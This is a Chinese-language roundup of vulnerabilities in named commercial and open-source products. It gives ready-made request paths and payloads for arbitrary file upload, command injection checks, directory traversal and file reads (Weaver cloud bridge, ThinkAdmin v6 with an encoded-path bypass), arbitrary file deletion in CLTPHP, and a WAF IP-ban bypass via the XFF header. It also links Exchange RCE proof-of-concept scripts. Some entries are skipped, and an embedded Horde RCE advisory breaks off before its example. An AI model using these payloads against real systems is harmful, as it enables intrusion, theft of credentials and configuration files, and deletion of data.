01.联软任意文件上传漏洞

已知存在漏洞的url如下:http://IP:80/uai/newDevRegist/updateDevUploadinfo.htm(只有201904-1SP起才存在该漏洞)http://IP:80/uai/download/uploadfileToPath.htm(受影响的版本都存在该漏洞)http://IP:80/uai/newDevRegist/newDevRegist/newDevRegist/..;/..;/updateDevUploadinfo.htm(只有201904-1SP起才存在该漏洞)http://IP:80/uai/download/download/download/..;/..;/uploadfileToPath.htm (受影响的版本都存在该漏洞)

02.网瑞达资源访问控制系统命令执行漏洞

手工检测:使用普通账户登录进入主界面,在输入框中输入1.1.1.1@127.0.0.1:8860并点击立即跳转,跳转页面若包含pong字符串则存在漏洞。

03.Exchange Server 远程代码执行漏洞

前提:需要一个Exchange用户账号。就能在Exchange服务器上执行任意命令POC地址:https://srcincite.io/pocs/cve-2020-16875.py.txthttps://srcincite.io/pocs/cve-2020-16875.ps1.txt

05.Apache Cocoon XML注入

漏洞利用条件有限必须是apacheCocoon且使用了StreamGenerator,也就是说只要传输的数据被解析就可以实现了。

"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability

Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33

Summary:
========

It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.

Example:
========

07.泛微云桥任意文件读取升级玩法

1、简单说说昨天泛微云桥的报告,输入文件路径->读取文件内容,我们读了一下代码后发现这还能读取文件目录。

2、参数不填写绝对路径写进文本内容就是当前的目录,产生了一个新的漏洞 “目录遍历”

/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///D:/&fileExt=txt

3、目录遍历+文件读取,我们能做的事情就很多了,比如读取管理员在桌面留下的密码文件、数据库配置文件、nginx代理配置、访问日志、D盘迅雷下载。

08.某讯云WAF中修改XFF头会导致IP封禁策略失效

攻击者真实IP被封禁的情况下,还是可以通过修改XFF头后继续对网站进行访问,即IP封禁措施会无效。

09.ThinkAdmin v6 未授权列目录/任意文件读取

参考:https://github.com/zoujingli/ThinkAdmin/issues/244

任意文件读取exp:http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/nodePOST:rules=["/"]也可以使用../来进行目录穿越:rules=["../../../"]

有一个允许的列表:configpublic/staticpublic/router.phppublic/index.phpapp/adminapp/wechat也就是说$name必须要不是database.php且要在允许列表内的文件才能够被读取,先绕过安全列表的限制,比如读取根目录的1.txt,只需要传入:public/static/../../1.txt而database.php的限制在Linux下应该是没办法绕过的,但是在Windows下可以透过"来替换.,也就是传入:public/static/../../config/database"php对应encode()后的结果为:34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34

13.CLTPHP存在任意文件删除漏洞

/app/admin/controller/Database.php 第221-248行:POST: sqlfilename=..\..\1.txt

参数sqlfilename未经任何处理,直接带入unlink函数中删除,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件。
